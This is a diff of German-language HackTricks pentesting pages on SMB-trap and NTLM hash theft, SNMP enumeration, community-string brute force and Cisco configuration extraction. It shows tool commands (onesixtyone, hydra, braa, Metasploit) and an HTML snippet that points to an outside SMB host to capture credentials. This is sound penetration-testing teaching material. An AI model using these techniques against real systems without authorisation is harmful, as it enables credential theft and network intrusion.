[**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
## SMB-Falle
|
||||
|
||||
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host anzumelden, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, z. B.: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf einige Inhalte über SMB zuzugreifen, z. B.: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Dies geschieht mit den Funktionen:
|
||||
|
||||
|
@ -631,19 +507,19 @@ Dies geschieht mit den Funktionen:
|
|||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
Die von einigen Browsern und Tools (wie Skype) verwendet werden.
|
||||
Die von einigen Browsern und Tools (wie Skype) verwendet werden
|
||||
|
||||
![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
|
||||
### SMBTrap mit MitMf
|
||||
### SMB-Falle mit MitMf
|
||||
|
||||
![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
|
||||
## NTLM-Diebstahl
|
||||
|
||||
Ähnlich wie beim SMB-Trapping kann das Platzieren von bösartigen Dateien auf einem Zielsystem (über SMB zum Beispiel) einen SMB-Authentifizierungsversuch auslösen, der es ermöglicht, den NetNTLMv2-Hash mit einem Tool wie Responder abzufangen. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden.
|
||||
Ähnlich wie bei der SMB-Falle kann das Platzieren bösartiger Dateien auf einem Zielsystem (z. B. über SMB) einen SMB-Authentifizierungsversuch auslösen, der es ermöglicht, den NetNTLMv2-Hash mit einem Tool wie Responder abzufangen. Der Hash kann dann offline geknackt oder in einem [SMB-Weiterleitungsangriff](pentesting-smb.md#smb-relay-attack) verwendet werden.
|
||||
|
||||
[Siehe: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
[Weitere Informationen: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
|
@ -716,14 +592,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,11 +10,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -33,8 +33,8 @@ SNMP verwendet auch den Port **162/UDP** für **Traps**. Dabei handelt es sich u
|
|||
|
||||
### MIB
|
||||
|
||||
Um sicherzustellen, dass der SNMP-Zugriff über verschiedene Hersteller und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Textdatei**, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumstruktur aufgelistet sind. Sie enthält mindestens eine `Object Identifier` (`OID`), die neben der erforderlichen **eindeutigen Adresse und einem Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\
|
||||
MIB-Dateien sind im auf ASCII-Text basierenden Format `Abstract Syntax Notation One` (`ASN.1`) geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird.
|
||||
Um sicherzustellen, dass der SNMP-Zugriff über verschiedene Hersteller und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Textdatei**, in der alle abfragbaren **SNMP-Objekte eines Geräts** in einer **standardisierten** Baumhierarchie aufgeführt sind. Sie enthält mindestens eine `Object Identifier` (`OID`), die neben der erforderlichen **eindeutigen Adresse und einem Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\
|
||||
MIB-Dateien sind im auf ASCII-Text basierenden Format `Abstract Syntax Notation One` (`ASN.1`) verfasst. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID gelten oder welcher Datentyp verwendet wird.
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -42,7 +42,7 @@ MIB-Dateien sind im auf ASCII-Text basierenden Format `Abstract Syntax Notation
|
|||
|
||||
Die höchsten Ebenen der MIB-Objekt-IDs oder OIDs werden verschiedenen Standardisierungsorganisationen zugewiesen. Innerhalb dieser obersten Ebenen wird der Rahmen für globale Managementpraktiken und -standards festgelegt.
|
||||
|
||||
Darüber hinaus haben Anbieter die Freiheit, private Zweige zu erstellen. Innerhalb dieser Zweige haben sie die **Autonomie, verwaltete Objekte einzuschließen, die für ihre eigenen Produktlinien relevant sind**. Dieses System stellt sicher, dass es eine strukturierte und organisierte Methode zur Identifizierung und Verwaltung einer Vielzahl von Objekten über verschiedene Anbieter und Standards hinweg gibt.
|
||||
Darüber hinaus haben Anbieter die Freiheit, private Zweige zu erstellen. Innerhalb dieser Zweige haben sie die **Autonomie, verwaltete Objekte einzuschließen, die für ihre eigenen Produktlinien relevant sind**. Dieses System gewährleistet, dass es eine strukturierte und organisierte Methode zur Identifizierung und Verwaltung einer Vielzahl von Objekten über verschiedene Anbieter und Standards hinweg gibt.
|
||||
|
||||
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
|
||||
|
||||
|
@ -60,24 +60,24 @@ Hier ist eine Aufschlüsselung dieser Adresse.
|
|||
* 1 – dies wird als ISO bezeichnet und zeigt an, dass es sich um eine OID handelt. Deshalb beginnen alle OIDs mit "1"
|
||||
* 3 – dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat.
|
||||
* 6 – dies ist das dod oder das Verteidigungsministerium, das die Internetverbindung als erstes etabliert hat.
|
||||
* 1 – dies ist der Wert des Internets, um anzugeben, dass alle Kommunikation über das Internet erfolgen wird.
|
||||
* 1 – dies ist der Wert des Internets, um anzugeben, dass alle Kommunikationen über das Internet erfolgen.
|
||||
* 4 – dieser Wert bestimmt, dass dieses Gerät von einer privaten Organisation und nicht von einer Regierungsorganisation hergestellt wurde.
|
||||
* 1 – dieser Wert zeigt an, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde.
|
||||
|
||||
Diese ersten sechs Werte sind für alle Geräte tendenziell gleich und geben grundlegende Informationen über sie. Diese Zahlenfolge wird für alle OIDs gleich sein, außer wenn das Gerät von der Regierung hergestellt wurde.
|
||||
|
||||
Weiter zu den nächsten Zahlen.
|
||||
Übergehen zu den nächsten Zahlen.
|
||||
|
||||
* 1452 – gibt den Namen der Organisation an, die dieses Gerät hergestellt hat.
|
||||
* 1 – erklärt den Gerätetyp. In diesem Fall handelt es sich um einen Wecker.
|
||||
* 2 – bestimmt, dass dieses Gerät eine Fernbedienungseinheit ist.
|
||||
* 1 – erläutert den Gerätetyp. In diesem Fall handelt es sich um einen Wecker.
|
||||
* 2 – bestimmt, dass dieses Gerät eine Fernmeldeeinheit ist.
|
||||
|
||||
Die restlichen Werte geben spezifische Informationen über das Gerät.
|
||||
|
||||
* 5 – kennzeichnet einen diskreten Alarm-Punkt.
|
||||
* 1 – spezifischer Punkt im Gerät
|
||||
* 3 – Port
|
||||
* 21 – Adresse des Ports
|
||||
* 21 – Portadresse
|
||||
* 1 – Anzeige für den Port
|
||||
* 4 – Punktnummer
|
||||
* 7 – Zustand des Punktes
|
||||
|
@ -86,8 +86,8 @@ Die restlichen Werte geben spezifische Informationen über das Gerät.
|
|||
|
||||
Es gibt 2 wichtige Versionen von SNMP:
|
||||
|
||||
* **SNMPv1**: Die Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einem String** (Community-String), der im **Klartext** übertragen wird (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** übertragen den **Datenverkehr ebenfalls im Klartext** und verwenden einen **Community-String zur Authentifizierung**.
|
||||
* **SNMPv3**: Verwendet eine bessere **Authentifizierungsform** und die Informationen werden **verschlüsselt** übertragen (ein **Wörterbuchangriff** könnte durchgeführt werden, wäre jedoch viel schwieriger, die richtigen Anmeldeinformationen zu finden als bei SNMPv1 und v2).
|
||||
* **SNMPv1**: Die Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einem String** (Community-String), der im **Klartext übertragen wird** (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Datenverkehr ebenfalls im Klartext** und verwenden einen **Community-String zur Authentifizierung**.
|
||||
* **SNMPv3**: Verwendet eine bessere **Authentifizierungsform** und die Informationen werden **verschlüsselt übertragen** (ein **Wörterbuchangriff** könnte durchgeführt werden, wäre jedoch viel schwieriger, die richtigen Anmeldeinformationen zu finden als bei SNMPv1 und v2).
|
||||
|
||||
### Community-Strings
|
||||
|
||||
|
@ -110,7 +110,7 @@ In den Versionen 1 und 2/2c, wenn Sie einen **falschen** Community-String verwen
|
|||
* Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) auf Port **162**.
|
||||
* Bei Verwendung von [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) werden Anfragen auf Port **10161** empfangen und Benachrichtigungen werden an Port **10162** gesendet.
|
||||
|
||||
## Brute-Force Community String (v1 und v2c)
|
||||
## Brute-Force Community-String (v1 und v2c)
|
||||
|
||||
Um den Community-String zu **erraten**, könnten Sie einen Wörterbuchangriff durchführen. Überprüfen Sie [hier verschiedene Möglichkeiten, einen Brute-Force-Angriff gegen SNMP durchzuführen](../../generic-methodologies-and-resources/brute-force.md#snmp). Ein häufig verwendeter Community-String ist `public`.
|
||||
|
||||
|
@ -143,9 +143,7 @@ Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr über das S
|
|||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** enthält viele Informationen über den Host, darunter **Netzwerkschnittstellen** (IPv4- und **IPv6-Adresse), Benutzernamen, Betriebszeit, Server/Betriebssystemversion und **Prozesse**
|
||||
|
||||
**(die Passwörter enthalten können)**....
|
||||
**SNMP** enthält viele Informationen über den Host, darunter **Netzwerkschnittstellen** (IPv4- und **IPv6-Adresse**), Benutzernamen, Betriebszeit, Server-/Betriebssystemversion und **laufende Prozesse** (können Passwörter enthalten)....
|
||||
|
||||
### **Gefährliche Einstellungen**
|
||||
|
||||
|
@ -160,7 +158,7 @@ Zwei Hauptkonfigurationen ermöglichen den Zugriff auf den **vollen OID-Baum**,
|
|||
* **`rwcommunity`** für **IPv4**-Adressen und
|
||||
* **`rwcommunity6`** für **IPv6**-Adressen.
|
||||
|
||||
Beide Befehle erfordern eine **Community-String** und die entsprechende IP-Adresse, um unabhängig vom Ursprung der Anfrage vollen Zugriff zu gewähren.
|
||||
Beide Befehle erfordern eine **Community-String** und die entsprechende IP-Adresse und bieten vollen Zugriff unabhängig vom Ursprung der Anfrage.
|
||||
|
||||
### SNMP-Parameter für Microsoft Windows
|
||||
|
||||
|
@ -182,9 +180,9 @@ Werfen Sie einen Blick auf diese Seite, wenn Sie Cisco-Geräte verwenden:
|
|||
[cisco-snmp.md](cisco-snmp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Vom SNMP zu RCE
|
||||
## Vom SNMP zum RCE
|
||||
|
||||
Wenn Sie den **String** haben, der es Ihnen ermöglicht, Werte im SNMP-Dienst zu **schreiben**, könnten Sie ihn missbrauchen, um **Befehle auszuführen**:
|
||||
Wenn Sie den **String** haben, der es Ihnen ermöglicht, **Werte im SNMP-Dienst zu schreiben**, könnten Sie ihn missbrauchen, um **Befehle auszuführen**:
|
||||
|
||||
{% content-ref url="snmp-rce.md" %}
|
||||
[snmp-rce.md](snmp-rce.md)
|
||||
|
@ -194,31 +192,31 @@ Wenn Sie den **String** haben, der es Ihnen ermöglicht, Werte im SNMP-Dienst zu
|
|||
|
||||
[Braa ](https://github.com/mteg/braa)ist ein massiver SNMP-Scanner. Die beabsichtigte Verwendung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen - im Gegensatz zu snmpwalk von net-snmp kann es jedoch Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch.
|
||||
|
||||
Braa implementiert seinen EIGENEN SNMP-Stack, sodass es KEINE SNMP-Bibliotheken wie net-snmp benötigt.
|
||||
Braa implementiert seinen EIGENEN SNMP-Stack, daher benötigt es KEINE SNMP-Bibliotheken wie net-snmp.
|
||||
|
||||
**Syntax:** braa \[Community-String]@\[IP des SNMP-Servers]:\[ISO-ID]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Das kann eine große Menge an Informationen extrahieren, die Sie manuell nicht verarbeiten können.
|
||||
Dies kann eine große Menge an Informationen extrahieren, die Sie manuell nicht verarbeiten können.
|
||||
|
||||
Also, lassen Sie uns nach den interessantesten Informationen suchen (von [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **Geräte**
|
||||
|
||||
Der Prozess beginnt mit der Extraktion der **sysDesc MIB-Daten** (1.3.6.1.2.1.1.1.0) aus jeder Datei, um die Geräte zu identifizieren. Dies wird durch die Verwendung eines **grep-Befehls** erreicht:
|
||||
Der Prozess beginnt mit der Extraktion von **sysDesc MIB-Daten** (1.3.6.1.2.1.1.1.0) aus jeder Datei, um die Geräte zu identifizieren. Dies wird durch die Verwendung eines **grep-Befehls** erreicht:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Identifizieren des privaten Strings**
|
||||
|
||||
Ein entscheidender Schritt besteht darin, den **privaten Community-String** zu identifizieren, den Organisationen verwenden, insbesondere bei Cisco IOS-Routern. Dieser String ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung beruht häufig auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**:
|
||||
Ein entscheidender Schritt besteht darin, den **privaten Community-String** zu identifizieren, den Organisationen verwenden, insbesondere bei Cisco IOS-Routern. Dieser String ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung beruht oft auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Benutzernamen/Passwörter**
|
||||
|
||||
Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** überprüft, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden gesucht, um wertvolle Daten zu finden:
|
||||
Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** überprüft, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
@ -242,7 +240,7 @@ Wenn es eine ACL gibt, die nur bestimmten IPs das Abfragen des SMNP-Dienstes erl
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -290,10 +288,10 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich den [**offiziellen PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,7 +20,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
|
||||
## Pentesting Cisco-Netzwerke
|
||||
|
||||
**SNMP** funktioniert über UDP mit den Ports 161/UDP für allgemeine Nachrichten und 162/UDP für Trap-Nachrichten. Dieses Protokoll basiert auf Community-Strings, die als Passwörter dienen und die Kommunikation zwischen SNMP-Agenten und Servern ermöglichen. Diese Strings sind entscheidend, da sie Zugriffsebenen bestimmen, insbesondere **nur lesen (RO) oder Lese-Schreibrechte (RW)**. Ein bemerkenswerter Angriffsvektor für Pentester ist das **Brute-Forcing von Community-Strings**, mit dem Ziel, in Netzwerkgeräte einzudringen.
|
||||
**SNMP** funktioniert über UDP mit den Ports 161/UDP für allgemeine Nachrichten und 162/UDP für Trap-Nachrichten. Dieses Protokoll basiert auf Community-Strings, die als Passwörter dienen und die Kommunikation zwischen SNMP-Agenten und -Servern ermöglichen. Diese Strings sind entscheidend, da sie Zugriffsebenen bestimmen, insbesondere **nur lesen (RO) oder lesen/schreiben (RW) Berechtigungen**. Ein bemerkenswerter Angriffsvektor für Pentester ist das **Brute-Forcing von Community-Strings**, mit dem Ziel, in Netzwerkgeräte einzudringen.
|
||||
|
||||
Ein praktisches Tool für die Durchführung solcher Brute-Force-Angriffe ist [**onesixtyone**](https://github.com/trailofbits/onesixtyone), das eine Liste potenzieller Community-Strings und die IP-Adressen der Ziele erfordert:
|
||||
```bash
|
||||
|
@ -28,9 +28,9 @@ onesixtyone -c communitystrings -i targets
|
|||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Das Metasploit-Framework bietet das Modul `cisco_config_tftp`, das die Extraktion von Gerätekonfigurationen erleichtert, abhängig von der Erlangung einer RW-Community-Zeichenfolge. Wesentliche Parameter für diese Operation sind:
|
||||
Das Metasploit-Framework verfügt über das Modul `cisco_config_tftp`, das die Extraktion von Gerätekonfigurationen erleichtert, vorausgesetzt, dass ein RW-Community-String erlangt wird. Wesentliche Parameter für diese Operation sind:
|
||||
|
||||
* RW-Community-Zeichenfolge (**COMMUNITY**)
|
||||
* RW-Community-String (**COMMUNITY**)
|
||||
* IP-Adresse des Angreifers (**LHOST**)
|
||||
* IP-Adresse des Zielgeräts (**RHOSTS**)
|
||||
* Zielverzeichnis für die Konfigurationsdateien (**OUTPUTDIR**)
|
||||
|
@ -39,7 +39,7 @@ Nach der Konfiguration ermöglicht dieses Modul den direkten Download von Gerät
|
|||
|
||||
#### `snmp_enum`
|
||||
|
||||
Ein weiteres Metasploit-Modul, **`snmp_enum`**, spezialisiert sich auf die Erfassung detaillierter Hardwareinformationen. Es funktioniert mit beiden Arten von Community-Zeichenfolgen und erfordert die IP-Adresse des Ziels für eine erfolgreiche Ausführung:
|
||||
Ein weiteres Metasploit-Modul, **`snmp_enum`**, spezialisiert sich auf die Erfassung detaillierter Hardwareinformationen. Es arbeitet mit beiden Arten von Community-Strings und erfordert die IP-Adresse des Ziels für eine erfolgreiche Ausführung:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
|
@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -59,10 +59,10 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
